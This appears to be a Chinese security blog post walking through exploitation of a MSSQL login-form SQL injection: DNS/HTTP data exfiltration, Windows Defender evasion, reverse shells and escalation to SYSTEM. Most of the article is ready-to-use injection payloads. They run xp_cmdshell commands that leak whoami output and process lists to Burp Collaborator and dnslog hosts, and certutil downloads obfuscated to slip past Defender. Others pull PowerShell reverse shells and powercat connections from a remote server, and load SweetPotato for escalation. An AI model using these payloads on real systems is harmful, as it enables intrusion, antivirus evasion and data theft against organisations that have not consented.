MSSQL站库分离注入绕过WDF提权
2023-4-14 08:32:28 Author: 潇湘信安(查看原文) 阅读量:33 收藏

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x00 前言

朋友在项目中遇到这样一个场景:MSSQL后台登录框注入,支持xp_cmdshell组件,站库分离(可出网),普通权限nt service\mssqlserver,但存在Defender杀软,暂时没法上线和提权。

而且这台数据库服务器上不存在Web,所以也不能写入Webshell;找到了后台地址,但在sqlmap中没有找到管理员和用户表,直接执行os-shell会出现下图报错,提示不支持堆叠查询...!

0x01 基本信息收集

利用Burp Collaborator或dnslog平台通过dns/http外带方式得到当前用户权限,确定站库分离/是否出网,而且在外带出来的进程中发现有Defender。

注:Burpsuite抓包测试时可以用%20+号来替代空格,如果直接用空格可能执行失败,浏览器会自动转URL编码,但Burpsuite不会,这是个值得注意的小细节。

(1) 获取当前用户权限

这个注入是mssqlserver普通权限,在写入temp临时文件时必须指定一个可读写目录,否则可能因权限问题而写不进去,不指定目录默认为system32,没权限写入。

C:\Users\Public\VideosC:\Users\Public\PicturesC:\Users\Public\DownloadsC:\Users\Public\Documents[...SNIP...]
;exec+xp_cmdshell+'cmd+/v+/c+"whoami>C:\Users\Public\Pictures\temp%26certutil+-encode+C:\Users\Public\Pictures\temp+C:\Users\Public\Pictures\temp1%26findstr+/L+/V+CERTIFICATE+C:\Users\Public\Pictures\temp1>C:\Users\Public\Pictures\temp2%26set+/p+MYVAR=<+C:\Users\Public\Pictures\temp2+%26+set+FINAL=!MYVAR!.gyi9iypiowzt9672smdcx63n0e65uu.burpcollaborator.net+%26+nslookup+!FINAL!%26del+C:\Users\Public\Pictures\temp*"'

注:Burp Collaborator会将返回的Base64自动转为小写,而Base64又是区分大小写的,所以咱这里不能正常解码,换个dnslog平台就好了,建议用dig.pm

(2) 判断是否站库分离

通过host_name()、@@servername分别获取客户端和服务端主机名来判断是否站库分离,当禁用堆叠查询时可以用fn_trace_gettable、fn_xe_file_target_read_file、fn_get_audit_file实现DNS带外。
+and+1=convert(int,(select+host_name()))+and+1=convert(int,(select[email protected]@servername))
+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+host_name())%2b'.********.ipv6.1433.eu.org\1.trc',default))+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select[email protected]@servername)%2b'.********.ipv6.1433.eu.org\1.trc',default))

(3) 判断是否可以出网

Python开启一个临时Web,然后用mshta去访问,收到数据说明可以出网,使用其他任意可访问HTTP的应用程序都可以,如常用的Curl、Certutil、Msiexec、Regsvr32、Bitsadmin、Powershell等。
;exec+xp_cmdshell+'cmd+/c+mshta+http://gyi9iypiowzt9672smdcx63n0e65uu.burpcollaborator.net'

(4) 判断是否存在杀软

通过以下命令可以将目标主机所有进程给带出来,建议用dig.pm,但默认只显示10条,想显示所有可拷贝Token到URL访问,这时可以看到几个Defender相关进程。
;exec+xp_cmdshell+"for+/F+%i+in+('wmic+process+get+Name+^|findstr+.exe')+do+ping+-n+1+%i.********.ipv6.1433.eu.org>nul"

0x02 站库分离提权

如果站库没有分离,我们在拿到Webshell时一般都会先执行个马上线,或者上传EXP进行提权。

但这里站库分离了,而且存在Defender,我们的大部分马和提权EXP在上传或执行过程中都被杀了。

(1) 远程加载土豆提权

虽然站库分离,但允许出外网,所以我们可以利用ExecRemoteNET远程加载土豆进行提权。

但是不能直接加载.NET程序集来上线,可能会触发WDF动态检测,查杀内存中运行的shellcode。
https://github.com/m1ddl3w4r3/ExecRemoteNET

执行certutil命令将ExecRemoteNET.exe落地到目标磁盘,http/https中使用""""绕过WDF的拦截,这个项目目前还可以过静态免杀,所以不会被查杀。

;exec+xp_cmdshell+'certutil+-urlcache+-split+-f+ht""""tp://192.168.1.110/ExecRemoteNET.exe+C:\Users\Public\Videos\RemoteNET.exe'

RemoteNET.exe成功落地,但还是存在一个问题,就是在注入点执行时没有回显,不太好确定咱们提权EXP是否执行成功?所以这里我们还需要先反弹个shell。

我用的powershell-reverse-shell.ps1,这个脚本反弹shell不会被WDF拦截,注意单双引号问题;也可以用powercat.ps1,但会被AMSI拦截,需要改下才行。

https://github.com/martinsohn/PowerShell-reverse-shell
;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).Download""String('http://192.168.1.120/powershell-reverse-shell.ps1')"

成功反弹shell后再利用刚落地的RemoteNET.exe远程加载SweetPotato,这时通过回显可以看到已经提权为SYSTEM,如果想绕WDF上线可参考其他文章。

C:\Users\Public\Videos\RemoteNET.exe http://192.168.1.120/SweetPotato.exe "-c e60687f7-01a1-40aa-86ac-db1cbf673334 -a whoami"
C:\Users\Public\Videos\RemoteNET.exe http://192.168.1.120/SweetPotato.exe "-c e60687f7-01a1-40aa-86ac-db1cbf673334 -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a C:\ProgramData\bypass.ps1"

(2) MSF模拟令牌提权

除了上边这种提权方式,有的MSSQL场景下我们也可以利用MSF的模拟令牌来进行提权;这里我只是给大家拓展一个思路,实战中还是得以实际情况为准。

首先我们利用以上参考文章中的绕过方式获取一个Meterpreter会话,如果进程列表有Ssms.exe进程则大概率可以使用Incognito扩展中的模拟令牌功能提权。

;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).Download""String('http://192.168.1.120/bypass.ps1')"

只要管理员在这台机器上使用Windows身份验证连接到这台数据库服务器的MSSQL时就会保留当前登录用户的令牌,所以我们可以直接获取Administrator令牌。

0x03 一些问题解决

(1) 反弹shell时如果用Linux的netcat监听可能会出现中文字符、↑↓←→等特殊按键乱码问题,我们可以尝试使用rlwrap工具来解决这个问题。

(2) 执行powercat反弹shell时发现限制了字符长度,这里我们可以尝试用短域名,或者是修改文件名和函数名,这里我将文件名改为1.ps1,函数名改为f

;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).Download""String('http://192.168.1.120/powercat1.ps1');cmdshell+-c+192.168.1.120+-p+9527+-e+cmd"
;exec+xp_cmdshell+"powershell+IEX+(New-Object+Net.WebClient).DownloadString('http://192.168.1.120/1.ps1');f+-c+192.168.1.120+-p+9527+-e+cmd"

关 注 有 礼

关注公众号回复“9527”可以领取一套HTB靶场文档和视频1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”杀软对比源码+数据源,0421Windows提权工具包
 还在等什么?赶紧点击下方名片关注学习吧!

推 荐 阅 读



文章来源: http://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247502791&idx=1&sn=d80abf783ca244ace3d33de135189edb&chksm=cfa56fd4f8d2e6c20ebc7c15efabe6fc976e88df071c8c8602c033c2fe384cc0f7e83bde12c7#rd
如有侵权请联系:admin#unsafe.sh